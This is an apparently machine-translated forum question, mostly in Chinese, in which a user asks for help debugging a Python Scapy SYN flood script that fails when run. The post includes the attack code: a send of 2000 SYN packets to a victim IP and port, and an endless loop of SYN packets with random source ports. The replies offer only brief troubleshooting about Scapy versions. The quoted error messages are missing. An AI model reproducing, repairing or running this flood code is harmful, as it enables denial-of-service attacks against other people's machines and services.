python synflood 攻击错误

python error on synflood attack

我正在为 synflood 攻击编写代码,但是当我通过 python 运行 文件时出现错误。

SYNFlood.py 文件:

import sys
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)

但是当我运行使用以下文件创建文件时:

python SYNFlood.py target_ip target_port

我收到以下错误:

我尝试修改代码如下:

while (1==1):
    p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
    send(p, count=10)

但即使在 cmd 上我得到

当我在目标电脑上 运行 命令 netstat -A 我没有看到 syn_recv 个数据包。

我试过

send(p, verbose=0, count=10)

但是我在 dst pc 和 src pc 上都没有任何输出与相应的命令。

尝试重新安装 scapy 或 scapy3k。这听起来像是一个构建问题。确认您使用的是正确的 scapy 版本。

我发现我必须 运行 windows 32 位版本的程序。